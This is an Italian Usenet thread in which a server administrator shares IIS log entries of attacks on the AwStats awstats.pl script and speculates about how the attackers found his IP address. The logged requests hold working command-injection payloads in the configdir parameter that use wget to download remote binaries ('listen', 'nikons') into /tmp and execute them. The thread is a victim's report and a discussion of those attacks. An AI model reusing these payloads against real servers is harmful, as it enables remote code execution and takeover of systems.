Newsgroup: it.comp.www.server
Titolo: [INFO] - AwStats

FollowUp: it.comp.www.server
Salve a tutti.
Tempo fa scaricai AwStats per vedere di cosa si trattava.
Ho un server IIS, e volevo vedere qualche applicazione per fare statistiche.
L'ho provato in locale (nella rete interna) poi decisi di non usarlo.
Da allora (e non era mai accaduto prima) il log di IIS riporta
(giornalmente) dozzine di questi messaggi :
[paste]
cs-method: GET
cs-uri-stem: /cgi-bin/awstats/
awstats.pl
cs-uri-query:
configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20128%2e173%2e40%2e113%2fliste
n%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;
echo|
cs-method: GET
cs-uri-stem: /cgi-bin/awstats/
awstats.pl
cs-uri-query:
configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%
3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|
cs-method: GET
cs-uri-stem: /cgi-bin/awstats/
awstats.pl
cs-uri-query:
configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten
%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;e
cho|
[/paste]
Mi domandavo se altri hanno log analoghi.
Visto che non ho mai fatto uscire nulla di AwStats all'esterno della rete il
mio IP lo hanno per forza di cose letto nei log del sito da cui è stato
scaricato (o provano su qualsiasi server? naaaaaa)... Non vedo alternativa.
E visto che i tentativi di accesso arrivano da tutto il mondo queste liste
sono -evidentemente- pubbliche.
Ora... Non so cosa faccia quella linea di comando (e non mi interessa perché
non uso AwStats), ma magari a qualcuno può interessare questa faccenda.
-> GbC|
www.gbcweb.com
PS:
Mai usato il followup... Ho fatto casino o si fa così? Volevo avvisare in
due gruppi ma evitare che la possibile discussione proseguisse nei due
gruppi separatamente... HoSbagliatoQualcheCosa? Se si scusate.

 gruppi separatamente... HoSbagliatoQualcheCosa? Se si scusate.
non è il massimo comunque ti avrei risposto su entrambi i ng :-P
-- 
Christian Paparelli
http://www.ithost.ch

[cut]
Ok...
Mi sono spiegato male.
Non ho mai avuto (da anni) nessun tentativo di accesso al file
/cgi-bin/awstats/
awstats.pl
.
I tentativi di accesso sono iniziati dal momento in cui ho scaricato
AwStats, che non ho MAI installato sul server.
Da dove prendono il mio IP queste persone?
Vanno a caso? Non credo; dovrebbero andare a caso da quel preciso giorno...
Debbo dedurre che gli IP di chi scarica AwStats sono in qualche modo
accessibili ed utilizzati per cercare di esploitare i -probabili- server su
cui sarà -presumibilmente- installato. E chi può accedere ai log delle
macchine da cui può essere scaricato AwStats?
In sostanza, scaricando AwStats anche solo per poi cancellarlo si diventa
possibili bersagli.
Tutto qua.
Non che me ne freghi qualcosa, in fondo.
Trovo solo la cosa poco seria.
-> GbC|
www.gbcweb.com

 scaricato AwStats, che non ho MAI installato sul server.
che versioni usi di Awstats? mi sorge un dubbio ..
-- 
Ciao, Dmitry
I've a dream... bring usenet to every family 


Non uso AwStats!
Non l'ho mai usato in una macchina connessa ad internet!
Non ho neanche il perl sul server.
L'ho installato su un server interno di test per vederlo, non è connesso
'fisicamente' con l'esterno...
Il fatto è che dal momento in cui l'ho scaricato sono iniziati i tentativi
di exploit.
Quindi il mio IP da dove lo hanno preso?
A caso?
E 'per caso' tutto è iniziato quel giorno?
Non ci credo.
E non è solo un IP a cercare l'exploit, ma macchine che arrivano da tutto il
mondo.
So bene che è una cosa da nulla e non me ne preoccupo, ma torno a dire che
la cosa è poco seria.
-> GbC|
www.gbcweb.com

ecco....
proprio ora, dagli USA:
c-ip: 216.23.162.68
cs-uri-stem: /awstats/
awstats.pl
cs-uri-stem: /cgi-bin/
awstats.pl
cs-uri-stem: /cgi-bin/awstats/
awstats.pl
cs-uri-query:
configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%
3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|
-> GbC|
www.gbcweb.com